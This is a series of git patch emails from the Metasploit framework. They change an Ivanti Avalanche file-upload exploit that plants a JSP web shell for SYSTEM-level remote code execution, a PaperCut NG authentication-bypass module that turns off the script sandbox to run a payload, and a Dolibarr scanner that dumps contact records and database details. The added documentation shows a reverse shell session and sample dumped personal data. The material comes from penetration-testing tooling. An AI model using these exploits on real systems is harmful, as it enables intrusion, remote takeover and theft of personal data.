MSF_LICENSE, 'Author' => [ @@ -26,7 +31,7 @@ def initialize(info = {}) [ 'CVE', '2023-28128'] ], 'Platform' => ['win'], - 'Privileged' => false, + 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic Target', {}] @@ -34,8 +39,8 @@ def initialize(info = {}) 'DisclosureDate' => '2022-07-07', 'DefaultTarget' => 0, 'Notes' => { - 'Stability' => [], - 'Reliability' => [], + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ] } ) @@ -59,11 +64,23 @@ def check return CheckCode::Unknown('Failed to receive a response from the application') unless res - unless res.body.include?('Avalanche') && res.body.include?('Login') + unless res.body.include?('Avalanche') return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') end - CheckCode::Safe + html = res.get_html_document + elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) } + return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem + + version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/) + return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2 + + version = version[1] + vprint_status("Version of Ivanti Avalanche appears to be v#{version}") + ver_no = Rex::Version.new(version) + return CheckCode::Appears if ver_no < Rex::Version.new('6.4.0.186') + + CheckCode::Detected end def authenticate @@ -126,7 +143,7 @@ def configure_filestore @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path - print_status("Original FileStore config path: #{@original_config_path}") + print_status("Original FileStore config path: '#{@original_config_path}'") # determine drive letter drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) @@ -157,7 +174,7 @@ def get_directory_val(res, dir_name) results = html.xpath('//tr[contains(@class, "DIRECTORY")]') fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results - expand_dir = results.find { |res| res.at('td').text.strip == dir_name } + expand_dir = results.find { |result| result.at('td').text.strip == dir_name } fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir data_rk = expand_dir.at('@data-rk')&.value fail_with(Failure::UnexpectedReply, 'Failed to get value to expand \'webapps\' directory') unless data_rk @@ -171,7 +188,6 @@ def expand_folder(data_rk, view_state) 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { - 'javax.faces.partial.ajax' => true, 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree', @@ -188,7 +204,6 @@ def select_folder(data_rk, view_state) 'keep_cookies' => true, 'vars_post' => { - 'javax.faces.partial.ajax' => true, 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.behavior.event' => 'select', @@ -202,6 +217,7 @@ def select_folder(data_rk, view_state) end def upload_payload(_config_path) + payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp" # need to 'select' webapps/AvalancheWeb to upload a file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), @@ -226,7 +242,6 @@ def upload_payload(_config_path) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state') unless view_state boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" - puts "AvalancheWeb data_rk #{avalanche_data_rk}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" @@ -247,7 +262,7 @@ def upload_payload(_config_path) post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n" post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n" post_data << "--#{boundary}\r\n" - post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"blah.jsp\"\r\n" + post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n" post_data << "Content-Type: application/octet-stream\r\n\r\n" post_data << "#{payload.encoded}\r\n" post_data << "--#{boundary}--\r\n" @@ -265,15 +280,61 @@ def upload_payload(_config_path) 'Accept-Encoding' => 'gzip, deflate' } ) - require 'pry' - binding.pry + + fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}") + + print_good("Successfully uploaded '#{payload_name}'") + payload_name end - def reset_filestore_dir; end + def reset_filestore_dir + print_status('Attempting to restore config path') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res + fail_with(Failure::UnexpectedReply, 'Could not access FileStore config. Please manually restore FileStore config path') + end + + html = res.get_html_document + view_state = get_view_state(html) + fail_with(Failure::UnexpectedReply, 'Failed to get view state. Please manually restore FileStore config path') unless view_state + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', + 'formFileStoreConfig' => 'formFileStoreConfig', + 'txtUncPath' => @original_config_path, + 'txtVelocityFolder' => '', + 'javax.faces.ViewState' => view_state + } + ) + + unless res&.body&.include?(@original_config_path) + print_warning('Failed to restore the FileStore config path to its original path. Please manually restore it.') + end + + print_good('Successfully restored the FileStore config path') + end def exploit authenticate config_path = configure_filestore - upload_payload(config_path) + payload_name = upload_payload(config_path) + + register_file_for_cleanup("webapps/#{payload_name}") + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), + 'method' => 'GET', + 'keep_cookies' => true + ) + ensure + reset_filestore_dir end end From 08a79a2f4ecdfb220aae79a5e74c7fb11d1aaddd Mon Sep 17 00:00:00 2001 From: space-r7 Date: Mon, 8 May 2023 17:42:23 -0500 Subject: [PATCH 089/415] add documentation --- ...ivanti_avalanche_filestoreconfig_upload.md | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md new file mode 100644 index 0000000000000..995c605124515 --- /dev/null +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +For vulnerable versions of Ivanti Avalanche, an authenticated administrator +can change the default path for the Central FileStore. While the default path +is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`, +Ivanti Avalanche restricts the path from being set to folders within the `Windows` and +`Program Files` directories. These restrictions do not account for MS-DOS (8.3) path +names, so this naming convention can be used to set the Central FileStore path to +the web root of the application. This module leverages the vulnerability to +upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`. + +### Installation Instructions + +The software requires a version MSSQL server to be installed. The installation +instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that +`SQL Server and Windows Authentication Mode` are selected as the default for +server authentication. That can either be done at installation or via +SQL Server Management Studio. + +1. Open SQL Server Management Studio and connect to the instance +2. Right click on the instance and select `Properties` +3. Click the `Security` page +4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok` + +Instructions for installing Ivanti Avalanche can be found [here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced?language=en_US) + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload` +4. Do: `set USERNAME ` +5. Do: `set PASSWORD ` +6. Do: `set RHOST ` +7. Do: `run` +8. You should get a shell as NT AUTHORITY\SYSTEM. + +## Options + +### USERNAME + +An admin user with which to log into the software + +### PASSWORD + +Password belonging to admin user + +## Scenarios + +### Ivanti Avalanche v6.3.4.153 - Windows 10 x64 + +``` +msf6 > use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload +[*] No payload configured, defaulting to generic/shell_reverse_tcp +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set rhost 192.168.140.150 +rhost => 192.168.140.150 +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set lhost 192.168.140.1 +lhost => 192.168.140.1 +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > options + +Module options (exploit/windows/http/ivanti_avalanche_filestoreconfig_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD admin yes Password to log in with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.140.150 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics + /using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /AvalancheWeb yes The URI of the Example Application + USERNAME amcadmin yes User name to log in with + VHOST no HTTP server virtual host + + +Payload options (generic/shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.140.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > run + +[*] Started reverse TCP handler on 192.168.140.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Original FileStore config path: 'C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files' +[*] Changing FileStore config path to 'C:\PROGRA~1\Wavelink\AVALAN~1\Web' +[+] Successfully uploaded 'LWRrxDXWxhbz.jsp' +[*] Attempting to restore config path +[!] Tried to delete webapps/LWRrxDXWxhbz.jsp, unknown result +[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.150:50249) at 2023-05-08 14:27:58 -0500 +[!] Failed to restore the FileStore config path to its original path. Please manually restore it. +[+] Successfully restored the FileStore config path + + +Shell Banner: +Microsoft Windows [Version 10.0.19041.630] +----- + + +C:\Program Files\Wavelink\Avalanche\Web> +C:\Program Files\Wavelink\Avalanche\Web> +C:\Program Files\Wavelink\Avalanche\Web>whoami +whoami +nt authority\system + +C:\Program Files\Wavelink\Avalanche\Web>^C +Abort session 1? [y/N] y + +[*] 192.168.140.150 - Command shell session 1 closed. Reason: User exit +``` From d60843f0ebdc2f6d379675ad65e33113cd71a7ee Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 9 May 2023 09:16:42 -0500 Subject: [PATCH 090/415] name versions that are vulnerable --- .../windows/http/ivanti_avalanche_filestoreconfig_upload.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md index 995c605124515..330c6c83cae53 100644 --- a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -1,6 +1,6 @@ ## Vulnerable Application -For vulnerable versions of Ivanti Avalanche, an authenticated administrator +For versions of Ivanti Avalanche below `v6.4.0.186`, an authenticated administrator can change the default path for the Central FileStore. While the default path is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`, Ivanti Avalanche restricts the path from being set to folders within the `Windows` and @@ -11,7 +11,7 @@ upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`. ### Installation Instructions -The software requires a version MSSQL server to be installed. The installation +The software requires a version of MSSQL server to be installed. The installation instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that `SQL Server and Windows Authentication Mode` are selected as the default for server authentication. That can either be done at installation or via From 43564b5267607bf0ec09012795e27792a506bc8e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 9 May 2023 23:43:30 +0000 Subject: [PATCH 091/415] Removing unneeded features/options. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 39e184184de97..fe720faf9ce33 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'debug' require 'cgi' class MetasploitModule < Msf::Exploit::Remote @@ -45,8 +44,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => '9191', - 'SSL' => 'false', - 'HTTPDELAY' => 10 + 'SSL' => 'false' }, 'Notes' => { 'Stability' => [CRASH_SAFE], From eff189f221fefa3b9101bf36793fca1742dc51c1 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 9 May 2023 23:43:56 +0000 Subject: [PATCH 092/415] Ensuring csrf_token is initialized. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index fe720faf9ce33..2473f2765dac3 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -59,6 +59,7 @@ def initialize(info = {}) OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class ) + @csrf_token = nil end def bypass_auth From c5b0bc68d7538615bce6976b9dc7bdbe50fa9f3a Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 9 May 2023 23:44:46 +0000 Subject: [PATCH 093/415] Improved automatic targeting, tested back to major version 14 --- .../multi/http/papercut_ng_auth_bypass.rb | 28 +++++++++++++++---- 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 2473f2765dac3..f6cf49a09eeea 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -77,6 +77,14 @@ def bypass_auth return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") + + # Parse the application version from the response for future decisions. + product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1] + if product_details.nil? + product_details = res.get_html_document.xpath('//span[contains(@class, "version")]') + end + version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') + @version_major = Integer(version_match[:major]) match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) match ? match[:csrf] : '' end @@ -145,6 +153,12 @@ def primer var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; SCRIPT + + # The number of parameters passed changed in version 17. + form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0' + if @version_major > 16 + form0 += ',$Submit$1' + end # 6) Trigger the code execution the printer_id res = send_request_cgi( { @@ -157,7 +171,7 @@ def primer 'vars_post' => { 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', 'sp' => 'S0', - 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', + 'Form0' => form0, 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', @@ -188,12 +202,14 @@ def exploit fail_with Failure::NotVulnerable, 'Target is not vulnerable' end - # 2) Enable scripts, if needed - set_config_option('print-and-device.script.enabled', 'Y') - - # 3) Disable sandboxing, if needed - set_config_option('print.script.sandboxed', 'N') + # Sandboxing wasn't introduced until version 19 + if @version_major >= 19 + # 2) Enable scripts, if needed + set_config_option('print-and-device.script.enabled', 'Y') + # 3) Disable sandboxing, if needed + set_config_option('print.script.sandboxed', 'N') + end # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( { From daee69e1d0f5b30ac1bc858dbaba2cd5cd0e9b52 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Wed, 10 May 2023 11:55:50 +0200 Subject: [PATCH 094/415] Fix msftidy errors --- .../scanner/http/dolibarr_16_contact_dump.md | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md index eb29fe5def37a..5521ebadfe3f5 100644 --- a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md +++ b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md @@ -8,11 +8,12 @@ Both public and private notes are also included in the dump. ### Dolibarr GitHub Repository & Dolibarr setup with vulnerable docker image -If you need to setup Dolibarr, this is the official GitHub Repository from Dolibarr or via docker with an unofficial but working image and docker-compose. +If you need to setup Dolibarr, +this is the official GitHub Repository from Dolibarr or via docker with an unofficial but working image and docker-compose. ``` Official GitHub Repository: -https://github.com/Dolibarr/dolibarr/tree/16.0.4 +https://github.com/Dolibarr/dolibarr/tree/16.0.4 ``` @@ -90,7 +91,8 @@ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolib RHOSTS => http://[Dolibarr domain]/ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit -[+] Detected vulnerable Dolibarr version: 16.0.4 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4 [+] Database type: mysqli [+] Database name: dolibarr [+] Database user: dolibarr @@ -110,7 +112,8 @@ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X RHOSTS => X.X.X.X msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit -[+] Detected vulnerable Dolibarr version: 16.0.4 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected vulnerable Dolibarr version: 16.0.4 [-] unexpected-reply: Dolibarr data did not include contacts field [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed @@ -125,7 +128,8 @@ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true verbose => true msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit -[!] Detected apparently non-vulnerable Dolibarr version: 17.0.0 - proceeding anyway... +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The target is not exploitable. Detected apparently non-vulnerable Dolibarr version: 17.0.0 ForceExploit is enabled, proceeding with exploitation. [-] unexpected-reply: Exploit response code: 403 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed @@ -168,8 +172,8 @@ Here is an example of what your .csv and .json files would look like if the cont ### .csv -| id | country | country_code | state | state_code | region | region_code | note_public | note_private | note | name | lastname | firstname | civility_id | date_creation | civility_code | civility | civilite | address | zip | town | poste | email | -|-----|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---| -| 1 | FR | Rhône | 69 | | | | | | | | Latourelle | Valentine | | 1680275145 | MME | Mrs. | | 1600, Place du Jeu de Paume | 69400 | VILLEFRANCHE-SUR-SAÔNE | CEO | valentine@latourelle.latourelle | -| 2 | FR | | | | | | | don't make any discount I don't like him | | | Bolduc | Hugues | | 1680275611 | MR | Mr. | | 1200, rue Bonneterie | 59370 | MONS-EN-BAROEUL | CEO | hugues@bolduc.bolduc | -| 3 | FR | Rhône | 69 | | | | | | | | Gamelin | Felicien | | 1680275763 | MR | Mr. | | 5100, rue de la Boatie | 69000 | Lyon | DSI | felicien@gamelin.gamelin | +| id | country_code | state | note_private | lastname | firstname | civility | address | zip | town | poste | email | +|---|---|---|---|---|---|---|---|---|---|---|---| +| 1 | FR | Rhône | | Latourelle | Valentine | Mrs. | 1700, Place de Paume | 69400 | Bron | CEO | valentine@latourelle.latourelle | +| 2 | FR | | don't make any discount | Paston | Hugues | Mr. | 2200, rue Bonneteria | 59370 | Mairieux | CEO | hugues@paston.paston | +| 3 | FR | Rhône | | Grivois | Thierry | Mr. | 5100, rue de la Boatie | 69000 | Lyon | DSI | thierry@grivois.grivois | From d50993cd804dd0fff6228ed8b1d7f69b645ad219 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Wed, 10 May 2023 11:59:09 +0200 Subject: [PATCH 095/415] reviews from cdelafuente-r7 Used the AutoCheck mixin, removed the exploit function that was mileading, removed the hardcoded HttpTimeout, and refactored some code portions. --- .../scanner/http/dolibarr_16_contact_dump.rb | 75 ++++++++----------- 1 file changed, 30 insertions(+), 45 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index c6cadbb5c1a5b..bebc77ea5f61c 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Module::Failure + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -35,14 +36,16 @@ def initialize(info = {}) ['URL', 'https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34'], ['URL', 'https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7'], ['URL', 'https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e'] - ] + ], + 'DefaultOptions' => { + 'HttpClientTimeout' => 20 + } ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Path to Dolibarr instance', '/']) - ] ) end @@ -57,53 +60,44 @@ def check version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z0-9]*)/).flatten.first + return Exploit::CheckCode::Detected('Dolibarr version not found - proceeding anyway...') if version.blank? + if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) - print_good("Detected vulnerable Dolibarr version: #{version}") - return Exploit::CheckCode::Appears - elsif version.blank? - print_warning('Dolibarr version not found - proceeding anyway...') - return Exploit::CheckCode::Detected - else - print_warning("Detected apparently non-vulnerable Dolibarr version: #{version} - proceeding anyway...") - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears("Detected vulnerable Dolibarr version: #{version}") end + + return Exploit::CheckCode::Safe("Detected apparently non-vulnerable Dolibarr version: #{version}") end - def exploit(ip) - res = send_request_cgi!({ + def run_host(ip) + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/public/ticket/ajax/ajax.php'), 'vars_get' => { 'action' => 'getContacts', 'email' => '%' } - }, 90, true) + }, datastore['HttpClientTimeout'], true) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response - try increasing HttpClientTimeout") if res.nil? + fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") if res.code != 200 res_json_document = res.get_json_document - if res && res.code != 200 - fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") - elsif res_json_document.nil? - fail_with(Failure::UnexpectedReply, 'Dolibarr database empty') - end + fail_with(Failure::UnexpectedReply, 'Dolibarr data did not include contacts field') if res_json_document['contacts'].blank? contacts = res_json_document['contacts'] - fail_with(Failure::UnexpectedReply, 'Dolibarr data did not include contacts field') if contacts.blank? - - begin - print_good("Database type: #{contacts[0]['db']['type']}") - print_good("Database name: #{contacts[0]['db']['database_name']}") - print_good("Database user: #{contacts[0]['db']['database_user']}") - print_good("Database host: #{contacts[0]['db']['database_host']}") - print_good("Database port: #{contacts[0]['db']['database_port']}") - end + + print_good("Database type: #{contacts.dig(0, 'db', 'type') || ''}") + print_good("Database name: #{contacts.dig(0, 'db', 'database_name') || ''}") + print_good("Database user: #{contacts.dig(0, 'db', 'database_user') || ''}") + print_good("Database host: #{contacts.dig(0, 'db', 'database_host') || ''}") + print_good("Database port: #{contacts.dig(0, 'db', 'database_port') || ''}") contact_fields = contacts[0].keys contact_fields.delete('db') # We do not want this in the csv - contact_entry_data = [] - - nbr_contact = contacts.length.to_i + nbr_contact = contacts.length path_json_file = store_loot( 'dolibarr', @@ -118,16 +112,14 @@ def exploit(ip) csv_string = CSV.generate do |csv| # Loop to write into csv csv << contact_fields - nbr_contact.times do |num| # Loop on every contact - contact_fields.each do |element| - if contacts[num][element.to_s].is_a?(String) || contacts[num][element.to_s].is_a?(Int) - contact_entry_data << contacts[num][element.to_s].to_s.gsub("\r\n", ' ') + contacts.each do |contact| + csv << contact_fields.map do |element| + if contact[element.to_s].is_a?(String) || contact[element.to_s].is_a?(Integer) + contact[element.to_s]&.to_s.strip || '' + else + '' end - rescue StandardError - contact_entry_data << ' ' end - csv << contact_entry_data - contact_entry_data.clear end end @@ -142,11 +134,4 @@ def exploit(ip) print_good("#{rhost}:#{rport} - File saved in: #{path_csv_file}") end - def run_host(ip) - check_code = check - if check_code == Exploit::CheckCode::Appears || check_code == Exploit::CheckCode::Detected - exploit(ip) - end - end - end From e514de9aef7c42bda52a284cf17cf5274ba77922 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Wed, 10 May 2023 09:13:01 -0500 Subject: [PATCH 096/415] add comment about jsf substitution --- .../windows/http/ivanti_avalanche_filestoreconfig_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index 51bb452c72eaa..ad669ed73dd17 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -330,7 +330,7 @@ def exploit register_file_for_cleanup("webapps/#{payload_name}") send_request_cgi( - 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), + 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet 'method' => 'GET', 'keep_cookies' => true ) From e742df1c33cca315f6edb398c6f7e8f5f52a9f76 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Wed, 10 May 2023 16:18:33 +0200 Subject: [PATCH 097/415] Rubocop warning fix --- modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index bebc77ea5f61c..1faeb88329760 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -115,7 +115,7 @@ def run_host(ip) contacts.each do |contact| csv << contact_fields.map do |element| if contact[element.to_s].is_a?(String) || contact[element.to_s].is_a?(Integer) - contact[element.to_s]&.to_s.strip || '' + contact[element.to_s]&.to_s&.strip || '' else '' end From e92695149d22d2236a5c9aff0ea86d4e4d907fd1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> Date: Wed, 10 May 2023 17:48:53 -0400 Subject: [PATCH 098/415] Fix linux tests, remove Windows support (#39) * Revert "shell_command_token_base get 0th output index" This reverts commit 3a4cb3560f58a376ae63e08e692020a2d0b51310. * Correct the order of arguments to #set_term_size * Fix paths for directory checks The path C:\ ends with a trailing backslash which will cause bash to wait for another line if input. This places the shell in an undesirable state. * Fix post module tests for Linux * Remove the command document This hasn't been tested and it's unclear under what conditions this would be used. * Fix Windows SSM sessions --------- Co-authored-by: Spencer McIntyre --- .../sessions/aws_ssm_command_shell_bind.rb | 27 +++++++- lib/msf/base/sessions/powershell.rb | 69 ++++++++++--------- lib/msf/core/handler/bind_aws_ssm.rb | 32 +++++---- lib/msf/core/post/file.rb | 2 +- .../session/provider/single_command_shell.rb | 2 +- lib/rex/proto/http/web_socket/amazon_ssm.rb | 56 ++++++++------- test/modules/post/test/file.rb | 2 +- 7 files changed, 115 insertions(+), 75 deletions(-) diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb index 912857770d6e0..10b440c74e43f 100644 --- a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -23,6 +23,13 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell # include Msf::Session::Provider::SingleCommandShell + def shell_command_token_unix(cmd, timeout=10) + res = super + + res.gsub!("\r\n", "\n") if res + res + end + def initialize(conn, opts=nil) super @@ -30,16 +37,34 @@ def initialize(conn, opts=nil) case ssm_peer_info['PlatformType'] when 'Linux' @platform = 'linux' + @session_type = 'shell' when 'MacOS' @platform = 'osx' + @session_type = 'shell' when 'Windows' - @platform = 'win' + @platform = 'windows' + @session_type = 'powershell' + extend(Msf::Sessions::PowerShell::Mixin) end @info = 